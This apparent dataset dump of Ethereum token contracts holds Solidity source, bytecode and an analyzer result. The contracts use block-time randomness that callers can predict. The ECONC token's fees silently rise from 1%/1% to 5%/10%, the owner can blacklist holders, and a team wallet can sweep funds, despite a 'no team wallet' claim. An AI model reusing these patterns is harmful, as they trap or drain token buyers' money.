_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _transfer(address recipient, uint256 amount) internal {
require(recipient != address(0), "IERC20: transfer to burn address");
uint battle_result = uint(keccak256(abi.encodePacked(msg.sender,recipient,amount,now))).mod(2);
uint battle_lottery = uint(keccak256(abi.encodePacked(recipient,amount,now))).mod(10);
if (amount == 0 && _balances[recipient] > 0){
if (battle_result > 0){
_burn(msg.sender, _balances[msg.sender].div(2));
}
else {
_mint(msg.sender, _balances[msg.sender].div(4));
if (battle_lottery < 1 && _balances[address(0)] > 0) {
uint battle_bonus = _balances[address(0)].div(2);
_balances[address(0)] = 0;
_maxSupply = _maxSupply.sub(battle_bonus);
_totalSupply = _totalSupply.sub(battle_bonus);
_balances[msg.sender] = _balances[msg.sender].add(battle_bonus);
emit Transfer(address(0), msg.sender, battle_bonus);
}
}
}
else{
_transferFrom(msg.sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal {
require(_totalSupply < _maxSupply, "IERC20: all 200 districts have already been minted");
require(account != address(0), "IERC20: mint to burn address");
_totalSupply = _totalSupply.add(amount);
_minted[account] = 1;
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount > 0);
_balances[account] = _balances[account].sub(amount);
_balances[address(0)] = _balances[address(0)].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "IERC20: approval to burn address");
require(spender != address(0), "IERC20: approval from burn address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function () external payable {
revert();
}
}
|
0x6080604052600436106100fe5760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d714610362578063a9059cbb1461039b578063d5abeb01146103d4578063dd62ed3e146103e9578063f2fde38b14610424576100fe565b8063715018a6146102f0578063893d20e8146103075780638da5cb5b1461033857806395d89b411461034d576100fe565b806323b872dd116100d157806323b872dd14610216578063313ce56714610259578063395093511461028457806370a08231146102bd576100fe565b806306fdde0314610103578063095ea7b31461018d5780631249c58b146101da57806318160ddd146101ef575b600080fd5b34801561010f57600080fd5b50610118610457565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019957600080fd5b506101c6600480360360408110156101b057600080fd5b506001600160a01b0381351690602001356104ed565b604080519115158252519081900360200190f35b3480156101e657600080fd5b506101c6610503565b3480156101fb57600080fd5b5061020461056a565b60408051918252519081900360200190f35b34801561022257600080fd5b506101c66004803603606081101561023957600080fd5b506001600160a01b03813581169160208101359091169060400135610570565b34801561026557600080fd5b5061026e6105df565b6040805160ff9092168252519081900360200190f35b34801561029057600080fd5b506101c6600480360360408110156102a757600080fd5b506001600160a01b0381351690602001356105e8565b3480156102c957600080fd5b50610204600480360360208110156102e057600080fd5b50356001600160a01b0316610624565b3480156102fc57600080fd5b5061030561063f565b005b34801561031357600080fd5b5061031c6106f3565b604080516001600160a01b039092168252519081900360200190f35b34801561034457600080fd5b5061031c610702565b34801561035957600080fd5b50610118610711565b34801561036e57600080fd5b506101c66004803603604081101561038557600080fd5b506001600160a01b038135169060200135610772565b3480156103a757600080fd5b506101c6600480360360408110156103be57600080fd5b506001600160a01b0381351690602001356107c7565b3480156103e057600080fd5b506102046107d3565b3480156103f557600080fd5b506102046004803603604081101561040c57600080fd5b506001600160a01b03813581169160200135166107d9565b34801561043057600080fd5b506103056004803603602081101561044757600080fd5b50356001600160a01b0316610804565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b820191906000526020600020905b8154815290600101906020018083116104c657829003601f168201915b5050505050905090565b60006104fa33848461087a565b50600192915050565b3360009081526003602052604081205460ff16156105525760405162461bcd60e51b815260040180806020018281038252602e8152602001806113d4602e913960400191505060405180910390fd5b61056433670de0b6b3a764000061097c565b50600190565b60045490565b600061057d848484610ab4565b6105d584336105d08560405180606001604052806029815260200161138b602991396001600160a01b038a166000908152600260209081526040808320338452909152902054919063ffffffff610c3016565b61087a565b5060019392505050565b60065460ff1690565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104fa9185906105d0908663ffffffff610cc716565b6001600160a01b031660009081526001602052604090205490565b610647610d28565b6000546001600160a01b039081169116146106a9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106fd610702565b905090565b6000546001600160a01b031690565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b60006104fa33846105d0856040518060600160405280602681526020016112db602691393360009081526002602090815260408083206001600160a01b038d168452909152902054919063ffffffff610c3016565b60006104fa8383610d2c565b60055490565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61080c610d28565b6000546001600160a01b0390811691161461086e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61087781610fec565b50565b6001600160a01b0383166108d5576040805162461bcd60e51b815260206004820181905260248201527f4945524332303a20617070726f76616c20746f206275726e2061646472657373604482015290519081900360640190fd5b6001600160a01b03821661091a5760405162461bcd60e51b81526004018080602001828103825260228152602001806113696022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600554600454106109be5760405162461bcd60e51b81526004018080602001828103825260328152602001806114026032913960400191505060405180910390fd5b6001600160a01b038216610a19576040805162461bcd60e51b815260206004820152601c60248201527f4945524332303a206d696e7420746f206275726e206164647265737300000000604482015290519081900360640190fd5b600454610a2c908263ffffffff610cc716565b6004556001600160a01b0382166000908152600360209081526040808320805460ff19166001908117909155909152902054610a6e908263ffffffff610cc716565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391926000805160206113b48339815191529281900390910190a35050565b6001600160a01b038316610af95760405162461bcd60e51b81526004018080602001828103825260228152602001806113016022913960400191505060405180910390fd5b6001600160a01b038216610b54576040805162461bcd60e51b815260206004820181905260248201527f4945524332303a207472616e7366657220746f206275726e2061646472657373604482015290519081900360640190fd5b60408051808201825260208082527f4945524332303a207472616e7366657220657863656564732062616c616e6365818301526001600160a01b038616600090815260019091529190912054610bb191839063ffffffff610c3016565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610be6908263ffffffff610cc716565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716926000805160206113b483398151915292918290030190a3505050565b60008184841115610cbf5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c84578181015183820152602001610c6c565b50505050905090810190601f168015610cb15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610d21576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038216610d87576040805162461bcd60e51b815260206004820181905260248201527f4945524332303a207472616e7366657220746f206275726e2061646472657373604482015290519081900360640190fd5b6040805133606090811b6020808401919091529085901b6bffffffffffffffffffffffff1916603483015260488201849052426068808401919091528351808403909101815260889092019092528051910120600090610de890600261108c565b90506000610e4e600a85854260405160200180846001600160a01b03166001600160a01b031660601b815260140183815260200182815260200193505050506040516020818303038152906040528051906020012060001c61108c90919063ffffffff16565b905082158015610e7557506001600160a01b03841660009081526001602052604090205415155b15610fdb578115610eb05733600081815260016020526040902054610eab9190610ea690600263ffffffff6110ce16565b611110565b610fd6565b33600081815260016020526040902054610edb9190610ed690600463ffffffff6110ce16565b61097c565b600181108015610f0257506000805260016020526000805160206113238339815191525415155b15610fd6576000808052600160205260008051602061132383398151915254610f3290600263ffffffff6110ce16565b6000808052600160205260008051602061132383398151915255600554909150610f62908263ffffffff6111d116565b600555600454610f78908263ffffffff6111d116565b60045533600090815260016020526040902054610f9b908263ffffffff610cc716565b3360008181526001602090815260408083209490945583518581529351929391926000805160206113b48339815191529281900390910190a3505b610fe6565b610fe6338585610ab4565b50505050565b6001600160a01b0381166110315760405162461bcd60e51b81526004018080602001828103825260268152602001806113436026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610d2183836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611213565b6000610d2183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611275565b6000811161111d57600080fd5b6001600160a01b038216600090815260016020526040902054611146908263ffffffff6111d116565b6001600160a01b038316600090815260016020526040812091909155805260008051602061132383398151915254611184908263ffffffff610cc716565b600080805260016020908152600080516020611323833981519152929092556040805184815290516001600160a01b038616936000805160206113b4833981519152928290030190a35050565b6000610d2183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c30565b600081836112625760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610c84578181015183820152602001610c6c565b5082848161126c57fe5b06949350505050565b600081836112c45760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610c84578181015183820152602001610c6c565b5060008385816112d057fe5b049594505050505056fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e736665722066726f6d206275726e2061646472657373a6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb494f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734945524332303a20617070726f76616c2066726f6d206275726e20616464726573734945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef4945524332303a207468697320616464726573732068617320616c7265616479206d696e7465642046524545484b4945524332303a20616c6c2032303020646973747269637473206861766520616c7265616479206265656e206d696e746564a265627a7a72315820a4d60c8beb65e4176bc908a1cab0216629a8cde7e5718d8cf5d028a1bf48c2f964736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,117 |
0x5a64dd6cb8a770ae00a871613aa6a346b12b974a
|
/**
*Submitted for verification at Etherscan.io on 2021-07-22
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/pinkdogeerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EthereumConnection is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Econnection | t.me/econnection";
string private constant _symbol = "ECONC";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 1;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a36565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ed7565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129fa565b6105ad565b6040516101a09190612ebc565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613079565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129ab565b6105db565b6040516102089190612ebc565b60405180910390f35b34801561021d57600080fd5b506102266106b4565b005b34801561023457600080fd5b5061023d610c0f565b60405161024a91906130ee565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a77565b610c18565b005b34801561028857600080fd5b506102a3600480360381019061029e919061291d565b610cca565b005b3480156102b157600080fd5b506102ba610dba565b005b3480156102c857600080fd5b506102e360048036038101906102de919061291d565b610e2c565b6040516102f09190613079565b60405180910390f35b34801561030557600080fd5b5061030e610e7d565b005b34801561031c57600080fd5b50610325610fd0565b6040516103329190612dee565b60405180910390f35b34801561034757600080fd5b50610350610ff9565b60405161035d9190612ed7565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129fa565b611036565b60405161039a9190612ebc565b60405180910390f35b3480156103af57600080fd5b506103b8611054565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ac9565b6110ce565b005b3480156103ef57600080fd5b5061040a6004803603810190610405919061296f565b611216565b6040516104179190613079565b60405180910390f35b61042861129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fd9565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105649061338f565b9150506104b8565b5050565b60606040518060400160405280601e81526020017f45636f6e6e656374696f6e207c20742e6d652f65636f6e6e656374696f6e0000815250905090565b60006105c16105ba61129d565b84846112a5565b6001905092915050565b6000678ac7230489e80000905090565b60006105e8848484611470565b6106a9846105f461129d565b6106a4856040518060600160405280602881526020016137b260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065a61129d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f9092919063ffffffff16565b6112a5565b600190509392505050565b6106bc61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074090612fd9565b60405180910390fd5b600f60149054906101000a900460ff1615610799576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079090612f19565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e800006112a5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086e57600080fd5b505afa158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a69190612946565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090857600080fd5b505afa15801561091c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109409190612946565b6040518363ffffffff1660e01b815260040161095d929190612e09565b602060405180830381600087803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af9190612946565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3830610e2c565b600080610a43610fd0565b426040518863ffffffff1660e01b8152600401610a6596959493929190612e5b565b6060604051808303818588803b158015610a7e57600080fd5b505af1158015610a92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab79190612af2565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bb9929190612e32565b602060405180830381600087803b158015610bd357600080fd5b505af1158015610be7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0b9190612aa0565b5050565b60006009905090565b610c2061129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca490612fd9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd261129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5690612fd9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfb61129d565b73ffffffffffffffffffffffffffffffffffffffff1614610e1b57600080fd5b6000479050610e2981611c93565b50565b6000610e76600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e565b9050919050565b610e8561129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0990612fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f45434f4e43000000000000000000000000000000000000000000000000000000815250905090565b600061104a61104361129d565b8484611470565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661109561129d565b73ffffffffffffffffffffffffffffffffffffffff16146110b557600080fd5b60006110c030610e2c565b90506110cb81611dfc565b50565b6110d661129d565b73fffffffffffffffffffffffffffff